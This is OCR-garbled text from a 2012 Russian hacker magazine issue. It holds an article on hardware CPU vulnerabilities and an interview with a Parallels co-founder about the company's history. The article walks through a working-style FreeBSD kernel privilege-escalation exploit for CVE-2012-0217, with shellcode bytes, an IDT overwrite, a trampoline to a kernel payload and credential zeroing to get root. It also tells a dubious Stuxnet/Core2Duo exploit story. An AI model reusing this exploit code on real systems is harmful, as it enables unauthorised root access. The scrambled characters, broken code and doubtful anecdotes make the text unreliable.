представляли баги, которые несли в себе потен циал ьную уязви мость lДЕ1 l2l l 5 l Ы 9 l 12 l 1З l 1 б l 17 l 18l 20 l21 l З0]. В тот момент многие не обратили внимания на это событие, за исключением нескольких исследователей, одним из которых был Тео де Раадт (Theo de Raadt]. В своих докладах он предупреждал 0 вOзмOжных последствиях, к кOтOрым мOгут привести найденные ошибки в Соге2Dчо. Многие эксперты по ИБ посчитали его высказывания паранOидальными и кOмичными, пOсмеялись... и досмеялись:}, В середине 2007 года в Сети появляется информация о боте нового поколения с руткит-функционалом для промышленного шпионажа (Stuxnet, обломисьl, автором которого являлась некая Sеlепа, представительница китайского андеграунда, flля распространения бот использовал один из уникальных эксплойтов, который. впервые в мировой практике, эксплуатировал <железную> уязвимость, а именно баг в контроллере кеша Соге2Dчо, являвшегося на тот момент популярным решением для многих серверных систем [этот проц обеспечивал великолепное соотношение цена/производительность]. Позднее, в 2008 году, Крис Касперски решает реконструировать эксплойтдля данной уязвимости. В качестве примера он использует сэмпл руткита, полученный у той самой Sеlепа, но извлечь сам эксплойт из тела руткита ему так и не удалось. На конференцию НlТВ2008 он привез <выдранную> реверс-инжинирингOм специальн0 скOнструированную виртуальную машину (VM) и Vlr/-байткод зксплойта. Задачей эксплойта было локальное повышение привилегий для руткита, в теле которого он и располагался. Если пораскинуть мозгами, то отреверсенный эксплойт Криса можно без особых усилий трансформировать из локального в удаленный {метод lосаl2геmоtе]. В зависимости от целей эксплуатации вь деляют два пути трансформации: :).0собый

1,

-

%gs и %rsр, Я надеюсь, ты уловил суть баги. flавай рассмотрим технику эксплуатации на практике написания сплоита для FгееВSD. В процессе ее реализации нужн0 выпOлнить следующие шаги: 'l. Выбор способа отладки ядра, настройка отладчика (отладка отладке рознь ввиду кардинальных различий в виртуальных машинах],

2. 3.

с внедренным кодом эксплойта на популярном скриптовом языке (JS, Java, АSЗ). Ка к ты по нял, для экс плуатаци и уяз в и м ости н е-

2.

н и

Сборповерхностнойинформацииобуязвимости по структурам и объектам ядра, Соблюдение правил эксплуатирования подобного

. .

рода уязвимостей:

1. elf-remote эксплойт- представляетсобой НТМL-страничку обходи мо будет за влеч ь п ол ьзо вателя на эту стра

-

цу :]. В ход

4.

может идти все, начиная с социальной инженерии и заканчивая веб-шеллом на популярном сайте; программа, пось]лающая fчll-rеmоtеэксплойт-stапd-аlопе

.

ядродолжноработатькорректно, иначесистемауйдетвдаун; необходимокорректновосстановитьстраницуисключения ошибок [gепегаl page fault exception-#GP];

необходимоповыситьпривилегииивыполнитькодвriпg0.

Программная реализация эксплойта,

Поехалиl Первым делом для этих целей необходимо настрослOжн0 чтO-т0 делать, кOгда твOя клавиатура ить виртуалку мигает под ритмичную музыку kегпеl рапiс :]. Лично мой выбор пал на VМwаге из-за дружелюбного интерфейса отладки гостевой 0С. В качестве основной 0С (на которой проходила отладка) и гостевой (0С для тестов) была выбрана стабильная версия FгееВSD 9,0, Настройка виртуальной машины проста до безоб-

специально сформированный ТСР/lР-пакет компьютеружертвы. Каждый из рассмотренных путей имеет свои плюсы и минусы. Мне показалось, что провести трансформацию по первому методу будет наиболее выгодным и наглядным для тебя. Предлагаю тебе 0знакOмиться с заранее пOдгOтовленным сплOитOм, реализOванным на JS, ты можешь найти его на нашем диске (sгс/срu bug_src).

разия:

I Вся информация

сАснЕ POISONING для прOцЕссOрOв В r"rapTe 201 1 года известная руткитописательница .Щжоанна

Рутковская Uоаппа Rutkowskal опубликовала инфор!tацию об уязвимости в процессорах lntel, позволяющей выполнить произвольный код в режиме SMM с привилегиями большилtи, чем привилегии нулевого кольца lriпg 0l. это специальный SMM lsystem Мапа9еmепt Model малодqкументированный режим работы процессоров lntel, который впервые появился в 386SL. В этом режи},,iе приостанавливается нормальнOе выполнение кOда и специальное П0 lобычно firmwаrе или отладчик с аппаратной поддержкойl выполняется в режи},{е с высоки1.1и привилегиями.

-

предо(тавлена исключительн0 в 0знакомительных

Эксплойты используют кеш процессора для доступа SMM. Из двух к SMRAM - защищенной памяти для режилtа представленных эксплойтов один делает дамп памяти SMRAM, а второй производит выполнение кода в режиме SMM. Потенциальное применение уязви}.lости привело к появлению SММ-руткитов, которые компро!tетировали работу гипервизоров и обходили современные заlлиты 0С на тот момент. Известно, что lntel была осведомлена о данной она исправила ее в iiатеринской плате D045CB, уязвимости, хотя более ранние модели остались уязвимыми, а патча, не появилось по сей к сожалению а может, и к счастью ;l,

целях. Ни редакция, ни автор не несут ответстаенности за любой возtожный вред. причиненный материалайи данной статьи.

-

ден ь.

-

-

хАкЕр

09/]6412012


Железный дуршлаг

u_lопg gеt_sуmаddг(сhаг t

*sуmпаmе)

stnuct kld_sym_].ookup ksym; ksym,veгsion - 5izeof (ksym); ksym.symname = sуmпаmе;

if

(kldsym(O, KLDSYM_LooKUP, &ksym) реггог("k]dsуm");

<

О)

{

exit(1);

}

cvE-2012-0217

в

pгintf("[+] Resolved

%s to %#lx\n",\ ksym. symname, ksym. symvalue); геtUгп kSym. SymvaIue,;

действии

}

Теперь подумаем над тем, как эксплуатировать уязвимость, На самOм деле все прост0:

1. Выделяем страницупамяти переднеканоническимадресом

2.

на

границе 0х0000800000000000.

Вызываем произвольный системный вызов lsyscalll прц п9уо*t,l системнOг0 вызова инструкции, расположенной непосредственн0 передадресом неканонической границы.

Схема зксплуатацхи

Когда обработчик fastsyscalI восстановит регистры пользователя, 0н выпOлнит инструкцию sу5геt и попытается вернуться к <следующей инструкции> в 0х0000800000000000, <забыв> сменить режим гiпg 0 гiпg 3. Соответственно, #GP запускается в режиме ядра. Кроме этого, исключение кадра помещается в стек гiпg З. Таким образом, мы можем перезаписать указатели ядра на тOт адрес, которым можно управлять с гiпg З.

-

1. Создаем новуювиртуальнуюмашинувVМwаге.

2.

0ткрываем конфигурационный файл, созданныйVМ [имеетрасш и

рен ие vmx], и доба вляем сл едующую стро ку:

debugStub.listen. guest64 =

"TRUE''

После чего при запуске созданной VM VМwаге для отладки откроет локальный порт 8864, к которому можно будет спокойно подключиться из любого отладчика, к примеру GDB:

ulnt64_t pagesize = getpagesize(); uint8_t * агеа = (uint8*t*)((1ULL

агеа = mmар(агеа, pagesize,

> sudo > сuг]. >

рогt install gettext gmp llbelf -0 http://ftp.gnu.org/gnu/gdb/gdb-7.4.7.taг.bz2

//

//

> make

> sudo make

l1bl,/ 2о12

"

#getuid

\х48\х89 \хеЗ " mоч rЬх, гsрj сохраним регистры гЗ / / мя последующих действий " \X48\xbc \xbe\xba \xfe\xca \xde\xcO\xad\xde " "

//

// поч гsр,

гееЬsd \

install

рисунок <Примеры работы в отладчике GDB>]. С настройкой отладчика разобрались, приступаем к сбору информации. Во время эксплуатации уязвимости нам понадобится информация [символы], которая располагается в адресном пространстве ядра. Во tгееВSD есть встроенная функция kldsymIJ, кOтOрая пOзвOляет <дOстать> l-tужные нам символы, предоставляемые ядернсiй функцией get_symaddг[).

09

=

\хЬ8\х],8\х0O\х0O\х00

// поч гах, 24;

Ну и наконец, создаем директорию для отладки, к примеру poc_debUg, и копируем туда исходные директории FгееВSD /usг/ sгс и /Ьооt/kегпеl, в которых находятся исходники для отладки (см.

хлкЕр

таким образом, чтобы выполнился наш Syscat1 "

CFLAGS=-IloPt/local/include ./сопfigчге \ ргоgгаm- suffi х=-аmd64-пагсе1 -f - -ta гgеt=аmd64- mагсе1 - fгeebsd

что находится на границе конца страницы

сhаг trig8егсоdе[]

> cd gdb-7.4.1

--Ргеfiх=7qр171",1 r

" ) ;

,// Копируем исполняемый код триггера,

tаг xvjf gdb-7.4.1.tan.bz2

- -

(tnigger)

-]., а);

}

l

>

"mmар

exit(1) j

0тладчик GDB для этих целей также стоит сконфигурировать самOстOятельно для корректного отображения символов отлаживаемOг0 0кружения:

47) - pagesize);

PRoT_READ l PRoT_h|RITE I PRoT_EXEс, MAP*FIXED I MAP_ANoN I MAP_PRIVATE, (аrеа == MAP_FAILED) {

регrоr(

(gdb) taг8et геmоtе localhost:8864

<<

"\xOf\xO5";

oxdeadcOdecafebabe

// syscall

uint8_t * tri8gег_аddг pagёSize

-

= аrеа + \ TRIGGERсoDESIZEj

mеmсру(tпlggег_аddг,

tгl8gеrсоdе, TRIGGERcoDESIzE);

При перезаписи значения целевого регистра RSP существует два схOда:

и

1. Еслизначение регистра RSРнеможетбытьперезаписано,

2.

срабатываетdоUЬlе fault {двойная ошибкаJ, вызванная функцией Xdblfault{l, и кадр исключения ломещается в специальный стек, который закреплен за данного рода исключениями. Во второмслучае#GРвозникаетвХрrоtIl и кадрисключениязаносится вается.

в

регистр RSP, таким образом его значение перезаписы-


cOvERSToRY

ЕрЕд HA},t и уязви ].{ость в процЕссOрАх IшTEL,

п

кРиТичЕскиЙ А и].{Енн0 0-DAY нАших днЕЙ

-

IDTvEc

(

ргоt

subq mоVI movq movq

)

$ТF_ЕRR,%гsр $Т*РROТFLТ,ТF_ТRАРNО(%гSр)

$о,ТF_АDDR(%гsр) %гdi,ТF_RDI(%rsр)

//

0чицаем регистр для GP

//

//

юзермод Gs base г0->гЗ $SEL_RPL_MASK,TF_CS(%rsp) Проверяем, откуда мы пришли

//

Продолжение работы

leaq dогеti_iпеt(%гiр),%гdi cmpq %гdi,ТF_RIР(%rSр) je 1f

Ядро

с

jz

2f

testb

сhаг tгampoli"necode[]

PсPU(cURPcB)J%гdi

Так как мы пришли из ядра [при выполнении инструкции sуsгеt). при проверке testb $SЕL_RРL_МАSК,ТF_СS(%гsр) устанавливается флаг'Z', поэтому по команде jz мы прыгаем на указанную swapgs. Но что, метку 2f, обходя тем самым инструкцию свопа GS если сценарий разворачивается по первому пути? Так как цепь событий GS происходит в GS гiпg З, при доступе к GS:data произойдет вызов ошибки страницы XPage{), Таким образом, цепочка событий fault, double fault, tгiррlе fault и так далее приведет к краху системы. Если включить смекалку, то можно придумать выход из этой ситуации: вернуться в начал0 и вOсстановить значение регистрOв, которые мы перезаписали..Д,алее было бы неплохо, если бы мы могли заменить адрес обработчика ошибки страницы, что позволит выполнить произвольный код, если возникнет исключение #РF. В этом нам поможет метод восстановления структур. Смотрим шлюзы дескрипторов:

-

+О: Тагgеt offset[15:o]

+4: Some stuff +8: Tar8et offsеtLбЗ:З2] +12: Some mоге

Stuff

|

l

-

*(uiпt64_t*)(tгiggег*аddг + 10) = \ (uintбa_t)(((uint8_t*)&sidt()[].4])

в рехиме ядра r0

SWapgS

movq

Когда сработает исключение, микропроцессор зарushит в стек значения ss, гsр, гflаgs, cs, riр, егг. Это иллюстрируют инструкции movl $Т_РROТFLТ,ТF_ТRАРN0[%гsр], movq $0,ТF_АDDR(7огsр}. 0ни пишут в стек рассматриваемые значения. 0сновная проблема в том, что, когда происходит исключение, RSP использует автоматическое выравнивание в 16 байт. Таким образом, существует возможность перезаписать только первые 32-LSB смещения. movl $Т_РROТFLТ,ТF_ТRАРN0(%гsр) Еще одна инструкция пишет от 0 до tf_addг. 0на также использует выравнивание в 16 байт. Надежда на последнюю инструкцию movl $Т_РROТFLТ,ТF_ ТRАРN0(%гsрl. И да! 0на пишет значение T_PROTELT l0x9] в tf_ tгарпо, используя выравнивание в 16 + 8 байт| То, что нам нужно. При помощи этой инструкции мы можем установить в целевые смещения [6З:32] значение 0х9. Если установить значения в RSP lDT['14]+10*8 Iвыравнивание tf_tгарпо с целевой #РF смещением [63:32]], мы можем установить адрес #Рt обработчика на 0x9WWXXYYZZ. Кроме того, значение WWXXYYZZ нам уже заранее известно, так как мы може[4 получить адрес #РF при помощи функции get_symaddг[]. ,Щля того чтобы мы смогли выполнить произвольный код на системе, нужно будет установить трамплинкод на 0x9WWXXYYZZ, который содержит код установки и переход на наш ядерный пэйлоад.

1/

// //

\х48\х89 \xdc " mov гSр, гЬх1 восстанавливаем значение гSрJ если нет больше возмохности использовать г3-стек

//

mov

//

jmр гах

геgistег_t геgiStег_t rе8iStег_t гegisten_t геgiStеr_t геgiStег_t гegisten_t геglstег_t ге8istег_t геýistеr*t

tf_г8,;

tf_г9; tf_гaxj

tf_rbx.; tf_гbp,;

tf_пl0;

negister_t tf_гflags; геgistеп_t tf_гsрj геgistег_t tf_sЪ; };

о2ц

"

\х48 \хЬ8\хЬе\хЬа \xfe\Xc

а

\xde\xcO\xad \xde

гах, 0xdeadcodecafebabe

\xff \хе0

"

".;

|

(Xpage_ptn & 0хFFFFFtFF));

Size_t tгampoline_aIlocsize = pagesize; // В конце обрацаемся к PAGESIZE для распределения /,/ Не хватает места для трамплин-кода? if ((uint8_t*) ( (uint64_t)tnampoline &

-(pagesize-1)) + pagesize TRAI4POLINEcoDE5IzE

)

<

tгаmроliпе

+

tгampoIine_a1locsize

+= pagesize,;

MAP_FIXED I MAP_ANON == MAP*FAILED) {

I MAP_PRIVATE, -1,0)

if (mmap((void+)((uint64_t)tгampoline & -(pagesize-1) ), trampoline_al].ocsize, PROT_READ I PRoT_WRITE l PROT_EXEс, реггог( "mmар (tпаmроliпе)"

{

tf_гdxj tf_гсх;

в г0 gS:base

"

uint8_t * tnampoline = (ulnt8_t*)(ax9oa000000 \

exit(1);

tf*rdi; tf_rS1,;

"

"

И файл include/f гаmе.h:

Stnuct tпарfгаmе

=

\xOf\x01 \xf8 " swapgs; переключаем

Тагgеt Sеlесtог

Тапgеt offsеt[З1:16]

+ 10 + 8);

) ;

}

mеmсру(tпаmроIlпе, tгampolinecode, TRAMPOLINEcoDE5IzE).; *(uint64_t*)(trampoline + 8) = \ ( uint64_t ) kennelmodepayload; Мы разобрались с исполнением произвольного кода, но забыли главное. Сразу же после того, как мы получим заветный shell, ядро вылетит в kегпеl panic. Это произойдет потому, что мы не восстановили структуры ядра после перезаписи. Чтобы этого не произошло, необходимо восстановить структуры в таблице lDT:

.

исключениефрейма#GРперезаписываетшесть64-битныхреги-

.

tf_аddгперезаписывает64-LSВвlDТ[15];

стро в, то есть

п

роисходит переза

п

ись l DT[1 8], l DT[1 7] и l DT[1 6];

хАкЕр

09 л641 2012


Железный дуршлаг

. . .

tf_tгарпо перезаписываетсмещение

[6З:З2] в lDT[14];

регистрRDlперезаписывает64-LSВвlDТ[7];

исключениефрейма#РFперезаписываетlDТ[6], Сказано сделано:

-

lDТ[5]иlDТt4].

StгUct gаtе_dеsсгiрtоп *idt = sidt(); setidt(idt, JDT_oF, Хоfl_рtп, \ SDT_5YSIGT, sEL_KPL, О), // 4 setidt(idt, IDT_BR, Xbnd_ptr, \ SDT_SYSIGT, SEL_KPL, О); // s Setidt(idt, IDT_UD, Xi1l_ptг, \ SDT*SYSIGT, 5EL_KPLJ О); // 6 setidt(idtJ IDT_NMJ Хdпа_рtг, \ SDT_5YSIGTJ SEL_KPL, 0); // 7 setidt(idt, IDT_PFJ Храgе_рtг, \ SDT_SYSIGT, SEL_KPL, о); // 1а setidt(idt, IDт_IчF, Xfpu_ptгJ \

SDT_SYSIGT, setidt(ldt, IDT_Aс, SDT_SYSIGT, setldt(idtJ IDT_MсJ

sEL_KPL, О); 1/ ts

xaIign_ptn, \

sEL_KPL, 0)i // 76 xmchk_ptrJ \ SDT_5YSIGT, sEL_KPL, О), // 17 Setidt(idt, IDT_XF, ххmm_рtгJ \ SDT_SYSIGT, SEL_KPL, о); /1 tв Самое простое, что будет в нашем эксплойте. Единственное, что потребуется, это узнать адреса идентификаторов текуцей учетной записи и изменить их значение на 0 [значение идентификатора для rооt]. Зная, что адрес текущей структуры потока в FгееВSD может быть прочитан с GS:0, можно написать следую-

-

щи й код:

Stгuct thгead *td;

Stгuct uсгеd *cгedj

// Получаем адрес текущей структуры потока asm ("mov %%gs:О, %о" : "=г"(td)); сгеd = td->td_ргос->р_uсгеd;

cned->cn_uid = спеd->сг_пчid = спеd->сr_пgid = а; сгеd->сп_gгоuрs[0] = 0j Ну и наконец, напишем обертку и сам гiпg З шелл-код, который будет использовать инструкцию sуsгеt для выполнения кода в гiпg 0:

asm ("swapgs; sуsгеtq;" :: "c"(shellcode)),; // Восстанавливаем адрес шелл-кода из регистра гсх

void shellcode( t

pгintf("[*] eXit(0);

)

WOOt! WOOt!

!, u got гООt! ;D\n'');

}

Хм... Стоп, а где же сам шелл-код? д его нет:]. Все дело в том, чт0 структура учетных данных пользOвателя распределяется между процессами этого пользователя, Так как мы изменили идентификаторы, порожденный shell будет автоматически наследовать привилегии с идентификатором 0, то есть привилегии суперпользователя гооt [примеры эксплойтов и РоС смотри в sгс/ cVE-20 1 2_ 02 1 7].

возможно, сейчас поиск ошибок в железе

-

это экзотика,

н0, пOверь, придет время. кOгда аппаратные уязвимости войдут в нашу жизнь и будут популяризироваться день ото дня, как и их софтверные братья. Эпидемии "железной> малвари также не за горами, В следующей статье под моим скальпелем ока-

жутся кOнцептуальные релизы на эту тему, Следи за новыми выпусками.

Е

f Р53: ПOЛНOЦЕННАЯ АППАРАТНАЯ уязвимOсть в микрOпрOцЕссOрЕ CELL Вот так новость выдали зарубежные СМИ в конце 20'l0 года. Как ты уже энаешь из предыдуu.lих выпусков J[, первыr,t уязвимость в игровой приставке Play Station скандальной корпорации Spny нашел не кто иной, как GeoHot. На cat,lopl деле большая часть исследований была совершена до GeoHot'a его командой failoveгflOW, откуда он ушел эа rод до свOего 0ткрытия.

Вдоволь начитавшись материалов на сайте fаilочегflOw и в блоге flжордх<а Хотца, я не удовлетворился, ибо

представленная уязвиt{ость носила псевдоаппаратный хара ктер. Годный эксплойт появился в начале марта 20'l'l года, когда хакер под ником DаrkНасkег сообщил о Tol,i, что нашел аппаратную уяз8имOсть в микропрOцессоре производства lBM - Cell ВгоаdЬапd CPU. 0бращение хакера к народу: <Уязвимость в CPU поt,lожет нам подойти на шаг ближе к METLDR. Я решил опубликовать эту информацию, потому что люди имеют право делать, что им хочется, и инфорtиация долlкна быть свободна. Знаю, что за это меня могут засудить. Пусть катится гадкая Sопу к черту! Все это для таких же, как я, хакеров. И я буду бороться за права людей до конца своей жизниD.

хАкЕр

09/164120]2

. каталог

псевдоаппаратных уязвииостей fla

exploit-db.com: hit.lv/ODrkez; . базовая матчасть п0 процессорам: bit.lylM7DsYs: . официальная эррата от lntel: bit.lyltk1,11hq: . детальнOе описание

уязвийости

cvE2012-02'l7 от разработчиков xEN:

bit,lvlKEThRb:

. отличная

презентация хардварной уязвииости в Р5З: bit,lvlhlknsr; . ресурсы, посвяlценные безопасности приставок sопу:

рýьdk{!!ц_рý: !Lr-O!ус.саm;

. atta(king slil1,1 ]i{emoryvia lntel cPU cache Poisoning:

Uit.lylrothK.


cOvERsTORY

Беседовал Степан Ильин

с03дАвАлАсь

кА

PARA Apple, История создания гигантов lT Мiсгоsоft, FасеЬооk - была романтизирована Голливудом и журналистами и сведена к прямой линии между точками А и В. 0днако рассказ о возникновении компании Рагаllеls из уст прямого участника событий показывает, что в реальности для такой линии попросту не хватает букв в алфавите.

мпоступил попал

в },lФТИ. моей базовой кафедрой был Институт физики высоких энергий. Классное место. Находитоя в подмосковном Протвино, и у них есть свой ускоритель частиц [второй, после CERN], свое кольцо, Насколько я понимаю, он до сих пор работает. У них было фантастическое по тем временам обеспечение вычислительной техникой и литературой. КГБ был продвинутой организацией, он обходил все запреты на поставку техники в СССР. Конечно, это все на уровне слухов, но, говорят, они работали со спецслужбами ГДР, которые ходили в ФРГ {пешком, через особую калитку в Берлинской cTeHel, покупали компьютер и несли его обратно. Потом эта техника доставлялась в Советский Я

Со юз.

Я учился и, пря1.1о скажем, заниli{ался всякой полу-

ерундой, как и любой другой студент. Работа была очець простая:'есть ускоритель частиц, есть какие-то датчики, и нужно, чтобы данные с этих датчиков поступали на компьютеры, хранились и обрабатывались.,Щля налаживания процесса как раз требовались специалисты по вы,числительной технике. Поскольку я тогда только учился, меня загружали не самыми важными задачами.

ELS

СТАНИСЛАВ

прOтАсOв

сOOснOвАтЕль и глАвА рАзрАБOтки к0l{пАнии PARALLELS

После института наступило интересное время. Было трудно найти работу, непонятно, как вообще это делать. Ведь когда я получил диплом, на дворе был 199З год- первый или второй

год, когда институтское распределение отменили. Мало какие компании испытывали нужду в специалистах. В научных-то организацияхточно никто не был нужен, а обслуживающий компьютеры персонал тогда почти не требовался, ведь компьютеры стоили очень дорого и потому были редкостью. Тогда купить хороший коltпьютер MolKHo было за 1500-3000 долларов, а зарплата... Скажем, моя первая зарплата после института составляла З0 долларов в месяц. То есть компьютер я мог позволить себе после десяти лет

упорной работы.

CoBepureHHo случайно я прибился к институту при ].lИЭТ

ll.iосковский институт электронной техникиl

в

Зелено-

граде, гле провел около года. Это был полезный опыт. Там я открыл для себя несколько новых тем, о которых раньше не слышал: познакомился с софтом для проектирования микiосхем CAD, увидел живьем НР'шный UNlX, узнал, что вообще существует UNlX, что у него развитая соmmапd line, под него пишут драйверы для устройств, у него такая-то графическая система и так далее.

хлкЕр09

l1b1,1

2012


ФАкты ,

,{iliiТfr xiТfi [fi:.Ё"х,Jf около 20летопыта Автор примерно 0дин из

П ом

в

разработке 50

сооdовiтелей

оrал

Bnco

зАан

п0,

патевтов, кошпании

ш к!мл.а

"ЁЁ ri"1,":i"Jц:#::

н и

й

ý:ffi:'

iil:;, ч:;Ё,Ёfi :,,J"T"':;il,"fr

хдкЕр

09 /1ь4/ 2о12


covERSTORY Я получил неплохой опыт, но потом работа как-то... закончилась. Институт был государственным, а значит, тамошние прOцессы тOже остались со времен Советского Союза. В частности учет рабочего времени. Нельзя было опаздывать и нельзя было уходить раньше. Когда проект закончился, это превратилось в пытку. Методично заставить себя изучать чтолибо, не имея конкретной задачи, могут только фантастически сфокусированные люди. Про таких разве чт0 кин0 снимают. Коrда мотивация пропадает, побочные занятия lB игруlлку поиграть, еще что-то сделатьl тохе очень быстро приедаются. Невозможно сидеть и ничего не делать, почти физически ощущаешь, как тупеешь. Поэтому через гOд, кOгда стал0 сOвсем невынOсим0, я оттуда сбежал. И попал в коttпанию Sчпrisе. в которой уже работал Сергей Белоусов [основатель Рагаllеls, Асгопis, Acumatica, фонда Ruпа прим. редакCapital и позже близкий друг ции). Его я совершенно не знал, туда меня позвал однокурсник. Я пришел как системный администратор, эникейщик, программист.., В то время все было перемешано.

-

-

Череэ год я попал в новое предприятие Белоусова. Тогда ему требовался технический человек в Сингапуре Сергей занимался бизнесом, связанным с поставкой из-за рубежа компьютерных запчастей, мониторов,

-

принтерOв и прOчего. В интересах этой компании я поехал в Сингапур. где и прожил пять лет. Именно там мы с Сергеем пытались заниматься софтверным

бизнесом и впервые удалось что-то действительн0 пOстрOить. Наш первый бизнес. по сути, был в области lТ-аутсорсинга. Мы продавали американским компаниям R&D-услуги российских инженеров.

-

Правда, бизнес у нас был немного странный наши российские инженеры тоже находились в Сингапуре. Причина была проста: в то время мнOгие американские кOмпании пOпросту боялись работать с Россией. Многие до сих пор смотрят оопаской, но тогда боялись откровенно. Американцев сильно напрягало, что два гOсударства не признавали закOны о заlците

интеллектуальной собственности друг друга. Эта проблема не вполне решена и сейчас, но сегодня уже многое сделано, чтобы сблизить закOнOдательства двух стран в этOм вOпрOсе. При работе с российскими инженерами американцы боялись отдавать им код: думали, что, как только они это сделают, в России тотчас появится клон американского продукта. Все копирайты и права для российского суда в то время являлись по большому счету филькиной грамотой. А с сингапурской компанией все охотно рhботали, верили нам, что российские инженеры дOстатOчн0 тOлкOвые, мног0 знают и вообще они даже не инженеры, а скорее ученые [что было правдойl. Вплоть до 1999 года все выглядело хороцtо. Но у нас всегда была идея, что лучше было

028

бы делать свои продукты. Ведь аутсорсинг чем-то похож на body shopping, за исключением того, что непосредственно людей не отправляют в офис заказчика, i,lаксиttуll, за который тогда в Синrапуре

ножно было продать услуги инженера, был где-то 1 2-1 5 тысяч долларов в месяц за человека. Это не так мало, учитывая, что средние зарплаты в России тогда были ниже тысячи дOлларOв, но эт0 и не так мнOг0. Синrапурское правительство не давало прив03ить децJевых инженерOв - визы выдавали, только если мы везли специалистов, которые были дороtке таких же }.{естных. Последних тогда особенно не было, и они стоили дешево, потому что ничего толком не умели. Так что, привозя человека из России, мы должны были платить ему значительно больше, чем местному.

Как устроен нормальный аутсорсинг бизнес, скажем, в Индии? У них есть проект- Мiсгоsоft заказал услуги тестинга или и нанимают под mаiпtепапсе. 0ни хоп! него три деревни. Если Мiсгоsоft этот проект прекращает увольняют. Нет никакой проих сноблемы, если случится новый проект ва наймут. В нашем случае такое не работало. Чтобы привезти человека за 10 тысяч километров, его HylKHo убедить сняться с места ведь у него может быть семья, а это серьезнOе решение, переехать так далек0 и надолго. К тому же начальные затраты довольно значительны. Если проект у нас не случился и мы увольняли человека, это была проблема не тOльк0 для нас, н0 и для нег0. Мы с саl,iоrо начала пытались создавать R&D-команду, а не ((аутсорсинговую лавкуD,

-

-

-

-

-

что очень поli{огло нам в будущем. Когда не было проектов, мы придумывали собственные попробуем сделать продукт. -давайте У нас.ничего не получалось" но мы учились, и учились наши люди. Мы вынуждены были продавать услуги этих людей дорого, ведь у всех них был период, когда они не делали ничего, что приносило бы деньги. Когда в 1999 году начал лопаться пузырь дотко1.|ов, наlл аутсорсинговый бизнес тоже по-

чувствовал себя неважно. Индустрия устроена

так, чт0, кOгда прихOдится экOнOмить, в первую 0чередь 0трезают внешних пOдрядчикOв. Уволить человека куда сложнее, чем сказать контрагенту: <Извините, мы вас очень любим, но у нас сейчас нет возможности с вами работатьu, К тому же, с точки зрения цены на наши услуги, мы нахOдились на верхнем уровне.

В 1999 году ttы назывались SWsoft. и ASP

Linux был наlци}i проектоtl. lr,lы как раз выбирали, чем заниматься дальше, а в индустрии в то время было две основных темы для о6суждения: все говорили об application sегчiсе провайдерах (о том, что софт скоро начнет о том, что продаваться как сервисl и о Linux эта система <отгрузит> Мiсгоsоft очень быстро, У нас был опыт с UNlX, Linux, нам хотелось чтото сделать в этом направлении. Поэтому мы занялись контейнерной виртуализацией, стали разрабатывать и свой дистрибутив. Поскольку он был для ASP (application sегчiсе ргочidег], он пOлучил такOе название. объясCaltoe важное в любоl.t продукте нить, че}i именно он хороlл. Этого невозможно добиться, заявляя: "Мы такие же, как Red Hat, только лучше. Чем лучше? !а всемr. Это очень популярный отве1 сейчас у стартапов часто такое встречается..Мы делаем FасеЬооk нового поколения, А в чем заключается ,,новое поколение"? !а во всем>. У людей нет ответа. 0ни считают, чт0 мOгут чтO-т0 сделать - дистрибутив Linux или новый Facebook, но до конца не понимают, чем именно он будет отличаться и кому вообще нужен. С ASP Linux у нас это не слишком хOрош0 пOлучилOсь, irы пытались найти позиционирование для А5Р Linux, но до конца Ha],l это так и не удалось. У России тогда было несколько претендентов на национальный дистрибутив, в частности команда ALT Linux, ASP Linux. Если они решили, что Red смотреть на опыт Китая Flаg будет их национальным дистрибутивом, действительно его поддерживали, но даже это практически не пOмOгл0.

-

-

хлкЁр

а9 11bt / 2012


Интервью со Станиславом Протасовым

BtlecTe с тем у Parallels по Linux до сих пор достаточно убедительные позиции в то1.|, что касается серверных вещей. Например, наши специалисты участвовали в разработке контейнерной технологии виртуализации 0penVZ и ее проприетарного воплощения Рагаllеls Viгtцоzzо Сопtаiпегs. Часть идей контейнеров использует Google для виртуализации своих l_]0!oB. Мы запихиваем в мейнстрим <Линукса> все, что из этOг0 пOлучилOсь, в частнOсти контеЙнерную технологию. Просто она пересекает много подсистем ядра Linux, поэтому процесс запихивания весьма небыстрый. В разные годы Линус Торвальдс и другие люди говOрили, что они пони}lают преимущества контейнерной технологии, и общий курс таков: Liпuх-ядру нужен не только hуреrчisог, роль которого сейчас играет проект KVM, но и контейнерные технологии. Поэтому мы работаем и с другими группами, которые занимаются похожими проблемами, и потихоньку (<тOлкаемr_

На сегодняlлний день больчlе половины принято в mainstream kеrпеl, но это вовсе не значит, чт0 втOрую полOвину мы держиil,{ за спиной, 0на тоже свободно доступна, тоже под лицензией GPL, Больше полоsины нашего кода находится в любом ядре Linux, хоть от Red Hat, хоть с kегпеl.ог9. lчlы точно знаем, что Google для своей инфраструктуры использует наlцу контейнерную технолоrию, часть которой есть в ядре. Так как по sапdЬох'ингу процессов идея очень хорошая [по ограничению ресурсов, по ограничению того, что они [4огут сделатьl ее много кт0 использует.

-

В 2004 году tlы купили небольчrой стартап

Parallels, чтобы дополнить наlлу автоi{ати-

зацию и серверную виртуализацию их наработкаttи по десктоп-продукту. В результате бренд оказался настолько узнаваемым, что в начале 2008 года SWsoft изменила название на Рагаllеls. Нашим англоговорящим клиентам было сложно произносить (эс-дабл-юсофт>, да и Рвrаllеls лучше отражало суть бизнеса одновременная работа несколь-

-

ких 0С. Компания Parallels (в то вреr,rя еце SWsoft| как бизнес началась тогда, когда проекты ко}ilпании Н5Р Complete lсистеltа автоllатизации для хостинг-провайдеровl и virtuozzo начали приносить деньги. Правда, очень небольшие. В 2000 году мы открыли офис в МФТИ в N4ocKBe, уже понимая, что наша офшорная разработка подходит к концу. Я приехал сюда, мы арендовали помещение в 100 квадратных метров. Нас было шесть человек. Потоtt начала понеi{ногу расти коl,ilанда, уже были плdны по контеЙнерноЙ технологии виртуализации. Где-то к середине или концу гOда мы поняли, что не выживем, если будем продолжать работать на две страны. Тогда мы предложили людям, котоРые работали в Сингапуре, переехать в Москву. Часть согла-

хлкЁр

09 116412012

силась, часть нашла работу в Америке, часть осталась в Сингапуре. В 2001 году tiы выпустили первый официальный релиз нашеrо продукта контейнерной технологии Virtuozzo, стали работать с хостинг-провайдерами, начали писать management tools. Стало ясно, что хостеры эт0 те люди, кOтOрым наши прOдукты мOгут быть интересны. 0днако вплоть до 200З года cash flow у нас 0ставался 0трицательныi{, хOтя уже появились первые клиенты. Это были очень тяжелые гOды, случалOсь, задерживали зарплату, платили людям не пOлностью. Представьте себе: у вас обраэовались какие-т0 деньги. которые вы рещили пOтра-

-

